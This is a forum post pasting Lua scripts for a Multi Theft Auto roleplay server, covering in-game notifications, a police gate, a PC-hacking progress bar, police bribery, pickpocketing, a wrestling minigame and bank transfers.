			removeEventHandler("onClientRender", getRootElement(), notification)
			destroyElement(ntf)
			destroyElement(ntfe)
			destroyElement(ntft)
			ntf = false
			ntfe = false
			ntft = false
			if dntf then
				killTimer(dntf)
				dntf = false
			end
		end
		notification(c, e, s, t)
	end
end
addEventHandler("Tcheckntf", getRootElement(), checkntf)
--bindKey("z", "down", checkntf)

function notification(c, e, s, t)--(c, e)
	--c, e, s, t = "images/r.png", "images/je.png", "sounds/r.wav", "SolidSnake has escaped from jail ......... solid"
	if ntf then
		ntfa = guiGetAlpha(ntf)+.2
		if ntfa > 1 then
			guiSetAlpha(ntf, 1)
			guiSetAlpha(ntfe, 1)
			removeEventHandler("onClientRender", getRootElement(), notification)
			dntf = setTimer(function()
				destroyElement(ntf)
				destroyElement(ntfe)
				destroyElement(ntft)
				ntf = false
				ntfe = false
				ntft = false
				dntf = false
			end, 60000, 1)
		else
			guiSetAlpha(ntf, ntfa)
			guiSetAlpha(ntfe, ntfa)
			guiSetAlpha(ntft, ntfa)
		end
	else
		playSound('sounds/'..s..'.mp3')
		ntf = guiCreateStaticImage(w/1.12, h/1.25, w/11.38, h/6.4, 'images/'..c..'.png', false)
		ntfe = guiCreateStaticImage(w/1.11, h/1.228, w/13.66, h/7.68, 'images/'..e..'.png', false)
		ntft = guiCreateLabel(0, h/1.15, w/1.13, 30, t, false)
		guiLabelSetHorizontalAlign(ntft, "right")
		guiSetFont(ntft, "clear-normal")

		guiSetAlpha(ntf, 0)
		guiSetAlpha(ntfe, guiGetAlpha(ntf))
		guiSetAlpha(ntft, guiGetAlpha(ntf))
		addEventHandler("onClientRender", getRootElement(), notification)
	end
end

HackPcBar = guiCreateProgressBar(0.05, 0.5, 0.15, 0.033, true)
guiLabelSetColor(guiCreateLabel(0.35, 0.2, 1, 1, "Hacking PC", true, HackPcBar), 255, 0, 0)
guiSetVisible(HackPcBar, false)

addEvent("onHackPc", true)
addEventHandler("onHackPc", root,
function(Stat)
	if Stat and hlspdpc then
		guiProgressBarSetProgress(HackPcBar, 0)
		guiSetVisible(HackPcBar, true)
		if isTimer(HackPcTimer) then killTimer(HackPcTimer) end
		if isElement(HackingSound) then destroyElement(HackingSound) end
		HackingSound = playSound("sounds/hack.mp3", true)
		setSoundVolume(HackingSound, 1.0)
		HackPcTimer = setTimer(function()
			local task = getPedSimplestTask(player)
			setElementData(player, "Task", task)
			guiProgressBarSetProgress(HackPcBar, guiProgressBarGetProgress(HackPcBar) + 1)
			if guiProgressBarGetProgress(HackPcBar) == 100 then
				triggerServerEvent("onHackPcComplete", player, player)
				if isElement(HackingSound) then destroyElement(HackingSound) end
			end
		end, 1200, 100)
	else
		if isTimer(HackPcTimer) then killTimer(HackPcTimer) end
		if isElement(HackingSound) then destroyElement(HackingSound) end
		guiSetVisible(HackPcBar, false)
	end
end)

-- GATE FOR THE POLICE

policeDoor = createObject(968, 1544.699, -1630.798, 13.100, 0, 90, 90)
col = createMarker(1544.4, -1626.8, 10, "cylinder", 12, 0, 0, 0, 0)
createObject(970, 1544.9000244141 , -1622 , 13.10000038147 , 0 ,0 ,90)
createObject(970, 1544.9000244141 , -1617.9000244141 , 13.10000038147 , 0 ,0 ,90)
createObject(970, 1544.9000244141 , -1634.9000244141 , 13.199999809265 , 0 ,0 ,90)

moving = false
closed = true
movetime = 968

function openDoor(player)
	if getElementType(player) == "player" then
		if not isPedInVehicle(player) or getPlayerTeam(player) ~= getTeamFromName("Police") then return end
		if closed then
			rx, ry = getElementRotation(policeDoor)
			if ry <= 90 then
				ry = 90-ry
			elseif ry <= 180 then
				ry = 180-ry
			elseif ry <= 270 then
				ry = 270-ry
			elseif ry <= 360 then
				ry = 360-ry
			end
			moveObject(policeDoor, 968, 1544.699, -1630.798, 13.100, 0, ry-90)
			closed = false
		end
	end
end
addEventHandler("onClientMarkerHit", col, openDoor)

function closeDoor(player)
	if getElementType(player) == "player" then
		if not isPedInVehicle(player) or getPlayerTeam(player) ~= getTeamFromName("Police") then return end
		if not closed then
			rx, ry = getElementRotation(policeDoor)
			moveObject(policeDoor, 968, 1544.699, -1630.798, 13.100, 0, 90-ry)
			closed = true
		end
	end
end
addEventHandler("onClientMarkerLeave", col, closeDoor)


---------------------------------------Bribe-------------------------
function offB(cmd)
if offerStart then return end
offerStart = true
offerTimer = setTimer(function() offerStart = false end, 1000, 1)
if getElementData(player,"RecounectBug") ~= true then
	if cmd == "bribe" then
		if getPlayerTeam(player) ~= getTeamFromName("Police") and not isElementWithinColShape(player, oj) then
			if getElementData(player, "WantLvl") > 2 and getElementData(player, "Stats") < 1 or getElementData(player, "Stats") == 3 then
				if getElementData(player, "Money") >= (getElementData(player, "WantLvl")*1000) and getElementData(player, "Stats") < 1 or getElementData(player, "Stats") == 3 and getElementData(player, "Money") >= bail and bail ~= 0 then
					for k,v in ipairs(getElementsByType("player")) do
						if getPlayerTeam(v) == getTeamFromName("Police") then
							x, y, z = getElementPosition(player)
							vx, vy, vz = getElementPosition(v)
							dist = getDistanceBetweenPoints3D(x, y, z, vx, vy, vz)
							if dist < 20 then
								if not Obribe[v] then
									bribed = v
								end
							end
						end
					end
					if bribed then
						if getElementData(player, "Stats") < 1 then
							triggerServerEvent("offerB", getRootElement(), player, bribed)
						else
							triggerServerEvent("offerB", getRootElement(), player, bribed, bail)
						end
						bribed = false
					else
						exports["guimessages"]:outputClient(ncatext, 255, 255, 0)
					end
				else
					exports["guimessages"]:outputClient(dhwmtext, 255, 255, 0)
				end
			end
		end
	elseif cmd == "acc" then
		if not isElementWithinColShape(Obriber, oj) then
			if getElementData(Obriber, "Stats") < 1 and getElementData(Obriber, "WantLvl") > 2 and getElementData(Obriber, "Money") >= (getElementData(Obriber, "WantLvl")*1000) or getElementData(Obriber, "Stats") == 3 and getElementData(Obriber, "Money") >= Obribe then
				triggerServerEvent("ACCB", getRootElement(), Obriber, player)
				Obriber = false
				removeCommandHandler("acc", offB)
			end
		end
	end
	else
	exports["guimessages"]:outputClient("You may not bribe the police for violation of rules", 255, 255, 0)
	end
end
addCommandHandler("bribe", offB)

Obribe = {}

addEvent("CofferB", true)
function FCofferB(briber, bribed, bribe)
	if bribed == player then
		if getElementData(briber, "Stats") < 1 and getElementData(briber, "WantLvl") > 2 then
			exports["guimessages"]:outputClient(getPlayerName(briber)..' '..iobtext..''..getElementData(briber, "WantLvl")*1000, 0, 255, 0)
		elseif getElementData(briber, "Stats") == 3 then
			exports["guimessages"]:outputClient(getPlayerName(briber)..' '..iobtext..''..bribe, 0, 255, 0)
		end
		Obriber = briber
		Obribe = bribe
		setTimer(function()
			Obriber = false
			removeCommandHandler("acc", offB)
			Obribe = false
		end, 120000, 1)
		addCommandHandler("acc", offB)
	elseif briber == player then
		if getElementData(briber, "Stats") < 1 and getElementData(briber, "WantLvl") > 2 then
			exports["guimessages"]:outputClient(yho1text..''..(getElementData(briber, "WantLvl")*1000)..' '..yho2text..' '..getPlayerName(bribed), 0, 255, 0)
		elseif getElementData(briber, "Stats") == 3 then
			exports["guimessages"]:outputClient(yho1text..''..bribe..' '..yho2text..' '..getPlayerName(bribed), 0, 255, 0)
		end
		Obribe[bribed] = true
		setTimer(function()
			Obribe[bribed] = false
		end, 120000, 1)
	end
end
addEventHandler("CofferB", getRootElement(), FCofferB)

addEvent("CACCB", true)
function FCACCB(briber, bribed)
	if bribed == player then
		setTimer(function() setElementData(player, "OfferAcc", false) end, 5000, 1)
		exports["guimessages"]:outputClient(yabtext..' '..getPlayerName(briber), 0, 255, 0)
		if getElementData(briber, "Stats") < 1 and getElementData(briber, "WantLvl") > 2 then
			setElementData(player, "Money", getElementData(player, "Money")+(getElementData(briber, "WantLvl")*1000))
			setElementData(player, "Scores", getElementData(player, "Scores")-(getElementData(briber, "WantLvl")*2))
		elseif getElementData(briber, "Stats") == 3 then
			setElementData(player, "Money", getElementData(player, "Money")+Obribe)
			setElementData(player, "Scores", getElementData(player, "Scores")-12)
		end
		Obriber = false
		Obribe = false
		removeCommandHandler("acc", offB)
	elseif briber == player then
		setTimer(function() setElementData(player, "BribeAcc", false) end, 5000, 1)
		exports["guimessages"]:outputClient(getPlayerName(bribed)..' '..habtext, 0, 255, 0)
		if getElementData(player, "Stats") < 1 and getElementData(player, "WantLvl") > 2 then
			setElementData(player, "Money", getElementData(player, "Money")-(getElementData(player, "WantLvl")*1000))
			setElementData(player, "Scores", getElementData(player, "Scores")+(getElementData(player, "WantLvl")*2))
			setElementData(player, "WantLvl", 0)
			setElementData(player, "Stats", 0)
		elseif getElementData(briber, "Stats") == 3 then
			setElementData(player, "Money", getElementData(player, "Money")-bail)
			setElementData(player, "Scores", getElementData(player, "Scores")+12)
			SecsLeft = 0
			MinsLeft = 0
			bail = 0
		end
		Obribe[bribed] = false
	end
end
addEventHandler("CACCB", getRootElement(), FCACCB)
--------------------------------------------------------------------

----------------------------------------------------------   Fixed Bug Car Player Damage ----------------------------------------------------------
--[[
addEventHandler("onClientPlayerDamage", localPlayer,
    function(attacker)
        if attacker then
            if getElementType(attacker) == "vehicle" then
                local player = getVehicleOccupant(attacker, 0)
                if getPlayerTeam(source) == getTeamFromName("Police") then
                    if getPlayerTeam(player) == getTeamFromName("Police") then
                        return cancelEvent()
                    end
                    local wantedLevel = getElementData(player, "WantLvl")
                    if wantedLevel < 6 then
                        wantedLevel = wantedLevel + 2
	        triggerServerEvent("settingWantedLevel", player, wantedLevel)
                    end
                end
				if getPlayerTeam(player) == getTeamFromName("Police") then
					if getElementData(source, "WantLvl") < 3 then
						cancelEvent()
					end
				end
            end
        end
    end
)
--]]

------------------------------------------------------------------------------------------------------------------------------------------

-----------------------------------------------Fixed Bug F4 -------------------------------------------------------------------
addEventHandler("onClientElementDataChange", localPlayer,
function(data, old)
	if getElementType(source) == "player" and data == "Stats" then
		if selecting and getElementData(source, "Stats") == 2 or getElementData(source, "Stats") == 3  then
			MinsLeft = 6
			SecsLeft = 0
			bail = 6000
		end

	end
end)

if fileExists("GW_c.lua") then fileDelete("GW_c.lua") end

 

 


-- Get the server's name
function getData()
	local sName = md5(getServerName())
	local sName = string.sub(sName,0,15)
	triggerClientEvent(source,"onGetServerData",getRootElement(),sName)
end

addEvent("onRequestLogin",true)
addEvent("onRequestRegister",true)
addEvent("onRequestAutologin",true)
addEvent("onClientLoginLoaded",true)
addEventHandler("onRequestLogin",getRootElement(),loginPlayer)
addEventHandler("onRequestRegister",getRootElement(),registerPlayer)
addEventHandler("onRequestAutologin",getRootElement(),autologinPlayer)
addEventHandler("onClientLoginLoaded",getRootElement(),getData)

-------------------------------------------- Pickpocket ---------------------------------------

addEvent("DRob", true)
function FDRob(player, targ)
	if getElementData(targ, "protect") then
		exports["guimessages"]:outputServer(player, hbrtext[player], 255, 255, 0)
	elseif getElementData(targ, "Money") > 100 then
		robM = math.ceil(getElementData(targ, "Money")/20)
		--[[outputChatBox('You have robbed $'..robM..' from '..getPlayerName(targ), player, 0, 255, 0)
		setElementData(player, "Money", getElementData(player, "Money")+robM)
		outputChatBox(getPlayerName(player)..' has robbed $'..robM..' from you!', targ, 255, 0, 0)
		setElementData(targ, "Money", getElementData(targ, "Money")+robM)]]
		setElementData(targ, "protect", true)
		exports["guimessages"]:outputServer(targ, wrntext, 255, 0, 0)
		triggerClientEvent("robamount", getRootElement(player, targ), player, targ, robM)
		--triggerClientEvent("disrob", player, player)
	end
end
addEventHandler("DRob", getRootElement(), FDRob)


-------------------------------------------- WWE ---------------------------------------

--[[team = {}

function onWasted(tammo, killer)
	if getElementData(source, "Wrestler") then
		FSEndWWE(source)
		winner(killer)
	end
end
--@addEventHandler("onPlayerWasted", getRootElement(), onWasted)

function winner(killer)
	if getElementData(bag, "Wrestlers") == 1 then
		if not killer then
			for k,v in ipairs(getElementsByType("player")) do
				if getElementData(v, "Wrestler") then
					killer = v
				end
			end
		end
		triggerClientEvent("CendWWE", getRootElement(), killer)
		if killer then
			for k,v in ipairs(getElementsByType("player")) do
				outputChatBox(getPlayerName(killer)..' '..hwmtext[v], v, 0, 255, 0)
			end
			--FonQ(killer)
			setElementData(killer, "Money", getElementData(killer, "Money")+1500)
			setTimer(FSEndWWE, 1000, 1, killer)
			--reward = 1000
			--triggerClientEvent("GPM", killer, killer, reward)
		end
	end
end

--@addEvent("joinMatch", true)
function FjoinMatch(wrestler)
	--wrestlers = getElementData(bag, "Wrestlers")
	if not getElementData(wrestler, "Wrestler") and not tieT then
		if getElementData(bag, "Wrestlers") < 16 then
			if getElementData(bag, "Wrestlers") < 0 then
				setElementData(bag, "Wrestlers", 0)
			end
			if getPlayerTeam(wrestler) ~= Police then
				team[wrestler] = getPlayerTeam(wrestler)
				setPlayerTeam(wrestler, NoTeam)
			end
			--wrestlers = wrestlers+1
			setElementData(bag, "Wrestlers", getElementData(bag, "Wrestlers")+1)
			setElementData(wrestler, "Wrestler", getElementData(bag, "Wrestlers"))
			triggerClientEvent("waitanim", getRootElement(), wrestler)
			setPedFightingStyle(wrestler, 5)
			if getElementData(bag, "Wrestlers") > 1 and not SWWEF then
				for k,v in ipairs(getElementsByType("player")) do
					outputChatBox(mwstext[v], v, 0, 255, 0)
				end
				SWWEF = setTimer(function()
						SWWEF = false
						tieT = setTimer(function()
								tieT = false
								for k,v in ipairs(getElementsByType("player")) do
									if getElementData(v, "Wrestler") then
										FSEndWWE(v)
									end
									outputChatBox(nwmtext[v], v, 255, 255, 0)
								end
								triggerClientEvent("CendWWE", getRootElement())
						end, 360000, 1)
						for k,v in ipairs(getElementsByType("player")) do
							if getElementData(v, "Wrestler") then
								setElementHealth(v, 100)
								setPedArmor(v, 0)
							end
						end
						triggerClientEvent("CountDown", getRootElement())
				end, 120000, 1)
			end
		else
			outputChatBox(shjtext[wrestler], wrestler, 255, 255, 0)
		end
	end
end
--@addEventHandler("joinMatch", getRootElement(), FjoinMatch)
--
function onQuit()
	FonQ(source)
end
addEventHandler("onPlayerQuit", getRootElement(), onQuit)

--addEvent("onQ", true)
function FonQ(wrestler)
	--if getElementData(wrestler, "Wrestler") then
		setElementData(bag, "Wrestlers", getElementData(bag, "Wrestlers")-1)
		if getElementData(bag, "Wrestlers") < 0 then
			setElementData(bag, "Wrestlers", 0)
		end
		if team[wrestler] then
			setPlayerTeam(wrestler, Police)
			team[wrestler] = false
		end
		setElementData(wrestler, "Wrestler", false)
		setPedFightingStyle(wrestler, 15)
		if getElementData(bag, "Wrestlers") < 2 then
			if SWWEF then
				killTimer(SWWEF)
				SWWEF = false
			elseif tieT then
				winner()
				killTimer(tieT)
				tieT = false
			end
		end
	--end
end
--addEventHandler("onQ", getRootElement(), FonQ)
]]
--@addEvent("SEndWWE", true)
function FSEndWWE(player)
	--wrestlers = wrestlers-1
	if getElementData(player, "Wrestler") then
		if team[player] then
			setPlayerTeam(player, team[player])
			team[player] = false
		end
		setElementData(player, "Wrestler", false)
		setPedFightingStyle(player, 15)
		setElementData(bag, "Wrestlers", getElementData(bag, "Wrestlers")-1)
		if getElementData(bag, "Wrestlers") < 0 then
			setElementData(bag, "Wrestlers", 0)
		end
		if getElementData(bag, "Wrestlers") < 2 then
			if SWWEF then
				killTimer(SWWEF)
				SWWEF = false
			elseif tieT then
				winner()
				killTimer(tieT)
				tieT = false
			end
		end
	end
	hr, mn = getTime()
	wt = getWeather()
	triggerClientEvent("LWWE", player, player, hr, mn, wt)
end
--@addEventHandler("SEndWWE", getRootElement(), FSEndWWE)]]--@--

-------------------------------------------- Bank ---------------------------------------

send = {}

addEvent("Transfer", true)
function FTransfer(tfP, tfM)
	send[source] = false
	for k, v in ipairs(getElementsByType("player")) do
		if getElementData(v, "ID") == tonumber(tfP) then
			--if tfM then
				exports["guimessages"]:outputServer(v, getPlayerName(source)..' '..htm1text[v]..' $'..tfM..' '..htm2text[v], 0, 255, 0)
				setElementData(v, "Bank", getElementData(v, "Bank")+tfM)
				exports["guimessages"]:outputServer(source, yht1text[source]..' $'..tfM..' '..yht2text[source]..' '..getPlayerName(v), 0, 255, 0)
				setElementData(source, "Bank", getElementData(source, "Bank")-tfM)
				--trns = v
				send[source] = true
			--end
		end
	end
	if send[source] then
		send[source] = false
		--trns = false
	else
		exports["guimessages"]:outputServer(source, pmltext[source], 255, 255, 0)
	end
end
addEventHandler("Transfer", getRootElement(), FTransfer)

-------------------------------------------- Police Vehicle Marker ---------------------------------------

cars = {}
carsTimer = {}

function onCreatePoliceCar(carName)
	local id = getVehicleModelFromName(carName)
	if (id) then
		if (isElement(cars[source])) then
			destroyElement(cars[source])
		end
		local x, y, z = getElementPosition(source)
		cars[source] = createVehicle(id, x, y, z, 0, 0, 180)
		setVehicleColor(cars[source], 255, 255, 255)
		addEventHandler("onVehicleExplode", cars[source], function() setTimer(function(car) if (isElement(car)) then destroyElement(car) end end, 5000, 1, source) end)
		addEventHandler("onVehicleExit", cars[source], function() if isVehicleEmpty(source) then return end carsTimer[source] = setTimer(function(car) if (isElement(car)) then destroyElement(car) end end, 120000, 1, source) end)
		addEventHandler("onVehicleEnter", cars[source], function() if isTimer(carsTimer[source]) then killTimer(carsTimer[source]) end end)
		warpPedIntoVehicle(source, cars[source])
	end
end
addEvent("onCreatePoliceCar", true)
addEventHandler("onCreatePoliceCar", root, onCreatePoliceCar)

function isVehicleEmpty(veh)
     local cc = false
     local occupants = getVehicleOccupants(veh)
     local seats = getVehicleMaxPassengers(veh)
     for seat = 0, seats do
          if occupants[seat] then cc = true end
     end
     return cc
end

-- GATE FOR THE POLICE

--[[
policeDoor = createObject(968, 1544.699, -1630.798, 13.100, 0, 90, 90)
col = createMarker(1544.4, -1626.8, 12, "cylinder", 10, 0, 0, 0, 0)
createObject(970, 1544.9000244141 , -1622 , 13.10000038147 , 0 ,0 ,90)
createObject(970, 1544.9000244141 , -1617.9000244141 , 13.10000038147 , 0 ,0 ,90)
createObject(970, 1544.9000244141 , -1634.9000244141 , 13.199999809265 , 0 ,0 ,90)

moving = false
closed = true
movetime = 968

function openDoor(player)
	if getElementType(player) == "player" then
	if not isPedInVehicle(player) or getPlayerTeam(player) ~= getTeamFromName("Police") then return end
	if not moving and closed then
		moveObject(policeDoor, 968, 1544.699, -1630.798, 13.100, 0, -90)
		moving = true
		closed = false
		setTimer(function() moving = false end, movetime, 1)
	end
	end
end
addEventHandler("onMarkerHit", col, openDoor)

function closeDoor(player)
	if getElementType(player) == "player" then
	if not isPedInVehicle(player) or getPlayerTeam(player) ~= getTeamFromName("Police") then return end
	if not moving and not closed then
		moveObject(policeDoor, 968, 1544.699, -1630.798, 13.100, 0, 90)
		moving = true
		closed = true
		setTimer(function() moving = false end, movetime, 1)
	end
	end
end
addEventHandler("onMarkerLeave", col, closeDoor)]]

 

Link to comment

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...